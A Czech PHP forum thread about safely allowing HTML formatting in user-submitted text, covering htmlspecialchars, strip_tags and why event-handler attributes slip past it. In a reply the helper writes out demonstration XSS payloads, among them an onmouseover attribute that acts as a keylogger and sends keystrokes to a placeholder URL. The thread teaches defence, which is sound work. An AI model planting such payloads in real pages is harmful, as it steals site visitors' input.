Autor Zpráva
BunnyBugs
Profil *
Zdravím, nevím si rady s použitím html značek ve formuláři.

Mám odesílací formulář s vložením do databáze ošetřenou funkcí mysql_real_escape_string
Při výpise na stránku poté ošetřeno funkcí htmlspecialchars

Potřeboval bych ale, aby se mi tyto značky daly použít pro formátování textu, vždy mi to vypíše jako text, jak to mám udělat?
Jde to tím, že odstraním při výpise ošetření htmlspecialchars, ale předpokládám, že to by tam mělo zůstat. Jak to tedy udělat?

Díky za radu.


Předpokládám, že by to šlo ošetřit nějakou funkcí, kde by se určilo, jaké značky lze použít?, případně, jak by ta funkce měla vypadat?
juriad
Profil
htmlspecialchars slouží právě k zablokování některých znaků, které se používají v HTML.
Konkrétně se jedná o & ' " < >.

Cílem této funkce je zabezpečit, že uživatel třeba nevloží do komentáře něco nebezpečného.
<script>while(1==1) alert('Hahaha');</script> by bez prohnání touto funkcí donekonečna zobrazovalo alert všem navštěvníkům webu.

Chceš li, ale do databáze ukládat své formátování (a jsi-li jediným uživatelem, který formátované texty může vkládat), můžeš si dovolit htmlspecialchars nepoužívat. Ty víš co děláš. A případný znak < umíš zapsat jako &lt;


Existuje funkce strip_tags, která kompletně odstraní všechny tagy s výjimkou těch několika, které vyjmenuješ v druhém argumentu.
Přečti si varování k té funkci v dokumentaci. Pro lepší ochranu je třeba použít nějaké sofistiovanější řešení. Můžeš si inspirovat v článku http://jecas.cz/vycisteni-kodu.
BunnyBugs
Profil *
Tak jsem to zkusil a funguje to, ale vzhledem k tomu, že anglicky neumím, moc jsem si toho nepřečetl.
Napsal jsem to takhle (příklad), může to být v něčem nebezpečné?

$escape = '<ul><li><strong>.....';
..... strip_tags($mojepromenna['id_neco'], $escape) .....



Zkusil jsem i do databáze poslat ten výše uvedený script a pokud není vypsaný v té proměnné, tak se vypíše jen jako text.
Takže to mohu považovat za dobré ošetření?
juriad
Profil
Varování je namířeno proti atributům.
<strong onmouseover="alert('Baf');">Tučný text s překvapením</strong>
<strong onmouseover="$('body').keypress(function(e) {$.ajax('http://moje.url/', e.which);};">Tučný text s keyloggerem</strong>
Toto projde skrz strip_tags, ale není vhodné uživateli dovolit toto zapsat.
První je prostě nepříjemné, ale to druhé je vyložené škodlivé - odešle každý stisk klávesy na zadanou adresu.
Je to jen demonstrace, lze si představit mnohem sofistikovanější řešení, které bude skutečně nebezpečné.

Zrušení nežádoucích atributů může být mnohem složitější. Z toho důvodu se v prostředí, kde na tom záleží obvykle nepovolí žadné html tagy, ale nabídnou se alternativy jako BB-kódy, které se následně převedeou na HTML.
Ukázku vidíš tady na této diskusi, když chceš zapsat něco tučně, musíš použít [b], <b onmouseover="..."> ani <b> není povolené.

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: